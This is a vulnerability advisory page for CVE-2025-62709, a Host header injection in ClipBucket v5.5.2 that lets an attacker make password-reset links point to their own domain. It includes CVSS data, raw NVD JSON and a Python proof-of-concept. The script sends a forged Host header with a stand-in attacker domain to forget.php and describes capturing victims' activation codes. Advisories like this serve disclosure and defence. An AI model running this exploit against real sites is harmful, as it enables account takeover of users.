Security Vulnerability Report
中文
CVE-2025-62709 CVSS 6.8 MEDIUM

CVE-2025-62709

Published: 2025-11-20 17:15:51
Last Modified: 2025-11-25 19:04:19

Description

ClipBucket v5 is an open source video sharing platform. In ClipBucket version 5.5.2, a change to network.class.php causes the application to dynamically build the server URL from the incoming HTTP Host header when the configuration base_url is not set. Because Host is a client-controlled header, an attacker can supply an arbitrary Host value. This allows an attacker to cause password-reset links (sent by forget.php) to be generated with the attacker’s domain. If a victim follows that link and enters their activation code on the attacker-controlled domain, the attacker can capture the code and use it to reset the victim’s password and take over the account. This issue has been patched in version 5.5.2#162.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:* - VULNERABLE
ClipBucket v5.5.2 < 5.5.2#162

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-62709 PoC - Host Header Injection in ClipBucket v5.5.2 # This PoC demonstrates how an attacker can manipulate the Host header # to control password reset links target_url = "http://vulnerable-clipbucket-server.com" attacker_domain = "evil-attacker-controlled-domain.com" def exploit_host_header_injection(): """ Step 1: Send password reset request with malicious Host header """ headers = { "Host": attacker_domain, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml" } # Trigger password reset functionality reset_url = f"{target_url}/forget.php" data = { "forget_password": "Submit", "email": "[email protected]" } response = requests.post(reset_url, headers=headers, data=data, allow_redirects=False) print(f"[*] Password reset request sent with malicious Host: {attacker_domain}") print(f"[*] Response Status: {response.status_code}") """ Step 2: Attacker sets up server to capture activation codes The attacker needs to configure their server to: - Host a fake ClipBucket installation at the same path structure - Log all incoming requests to capture activation codes - Redirect users to the legitimate site after capturing the code """ print(f"[*] Attacker should monitor: {attacker_domain}/user.php?mode=activate&code=*") print(f"[*] The password reset link will point to attacker's domain") return True def verify_vulnerability(): """ Step 3: Verify the vulnerability exists by checking if Host header is reflected in generated URLs without sanitization """ headers = { "Host": f"test-{attacker_domain}", "User-Agent": "Mozilla/5.0" } # Check if application uses Host header in URL generation response = requests.get(f"{target_url}/", headers=headers, allow_redirects=True) if attacker_domain in response.text or f"test-{attacker_domain}" in response.text: print("[!] VULNERABLE: Application reflects Host header in responses") return True else: print("[-] NOT VULNERABLE or Host header is properly sanitized") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-62709 - ClipBucket v5 Host Header Injection") print("=" * 60) exploit_host_header_injection() verify_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62709", "sourceIdentifier": "[email protected]", "published": "2025-11-20T17:15:51.087", "lastModified": "2025-11-25T19:04:18.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClipBucket v5 is an open source video sharing platform. In ClipBucket version 5.5.2, a change to network.class.php causes the application to dynamically build the server URL from the incoming HTTP Host header when the configuration base_url is not set. Because Host is a client-controlled header, an attacker can supply an arbitrary Host value. This allows an attacker to cause password-reset links (sent by forget.php) to be generated with the attacker’s domain. If a victim follows that link and enters their activation code on the attacker-controlled domain, the attacker can capture the code and use it to reset the victim’s password and take over the account. This issue has been patched in version 5.5.2#162."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-640"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3", "versionEndExcluding": "5.5.2-163", "matchCriteriaId": "80AB0E48-B720-42A5-AFD4-523929B95329"}]}]}], "references": [{"url": "https://github.com/MacWarrior/clipbucket-v5/commit/1a93532e665217b5d329808ca78e37e59e9f8a9d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-xhhf-mpqr-2cq5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-xhhf-mpqr-2cq5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}